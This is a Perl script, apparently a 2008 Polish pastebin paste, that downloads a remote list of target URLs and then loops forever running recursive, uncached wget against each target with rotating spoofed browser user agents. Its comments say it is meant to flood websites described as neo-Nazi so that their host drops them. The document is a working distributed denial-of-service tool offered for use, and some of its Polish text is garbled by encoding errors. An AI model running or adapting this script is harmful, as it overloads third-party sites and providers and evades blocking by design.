1. #!/usr/bin/perl
  2.  
  3. use warnings;
  4. use strict;
  5.  
  6. # Skrypt kiluj.pl uruchamiajacy wget w celu pogn�bienia nazioli
  7. # copyleft 2008 GNU GPL
  8. # napisano po pierwsze na kolanie, po drugie w perlu ;-)
  9.  
  10. # UWAGA! Je�li strona padnie i b�dzie pojawia� si� informacja od providera, że site zosta� zamkni�ty
  11. # nie powinno si� dalej używa� skryptu! Gn�bienie providera nie jest dobre i nic nie da.
  12. # chodzi tylko o to, żeby ten nie chcia� hostowa� strony nazioli!
  13.  
  14. my $limit = "0"; # ogranicza predko�� transferu w ko�cu nei chcemy gn�bi� siebie
  15. # 0 - bez limitu
  16. # 100 - 100B/s (stanowczo za wolno)
  17. # 20k - 20kB/s (wystarczy)
  18.  
  19. my $listaURL = "http://kiluj.pl/lista.txt"; # plik z list� URLi do kilowania
  20.  
  21. my @URLs; # adresy z których pobierane b�d� dane
  22.  
  23. my @UAs = ( # UA do losowania. TYLKO popularne UA, jak chca niech blokuja popularne przegladarki
  24. # co za roznica czy nie ma ich strony czy 90% użytkowników jej nie widzi z
  25. # powodu blokady UA
  26. "Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12",
  27. "Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12",
  28. "Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1.12) Gecko/20080210 Firefox/2.0.0.12",
  29. "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  30. );
  31.  
  32. my $download_counter = 0; #co� dla poprawienia humoru
  33. my $files_counter = 0;
  34.  
  35. system ("wget", "-q", "$listaURL"); # pobiera list� adresów do kilowania!
  36. if ( $? == 256 ) {
  37. warn ("Brak pliku z list� URL do pobrania!\nUżyj� starej (je�li istnieje) ale sprawdź na stronie http://www.kiluj.pl co si� dzieje.\n\n");
  38. }
  39.  
  40. # wczytuj� list� URLi
  41. open ( FH, "<", "kiluj.pl/lista.txt" )
  42. or die ( "Brak listy URL do gnÄ&#65533;bienia, może strona nazioli leży i nawet nie kwiczy?\nSprawdź co siÄ&#65533; dzieje na http://www.kiluj.pl\n" );
  43. while ( <FH> ) {
  44. chomp;
  45. push @URLs, $_
  46. if ( !/^#/ );
  47. }
  48. close FH;
  49.  
  50. # no to targamy dane :D
  51. while ( ) {
  52. foreach ( @URLs ) {
  53. my $UA = $UAs[int(rand($#UAs+1))];
  54.  
  55. print "Pobieram dane z: $_ ... \n";
  56. system ( "wget", # odpalam wget
  57. "-rq", # reqursive quiet
  58. "--no-cache", # wylaczam cache
  59. "-U \"$UA\"", # zmieniam User Agent (udajÄ&#65533; przeglÄ&#65533;darkÄ&#65533;)
  60. "--limit-rate=$limit", # limit prÄ&#65533;dkoÅ&#65533;ci pobierania
  61. "--directory-prefix=TMP", # pobieram dane do katalogu TMP
  62. "$_"
  63. );
  64. system ( "rm", "-rf", "./TMP/" );
  65. }
  66. print "\nNo to od nowa!\n";
  67. }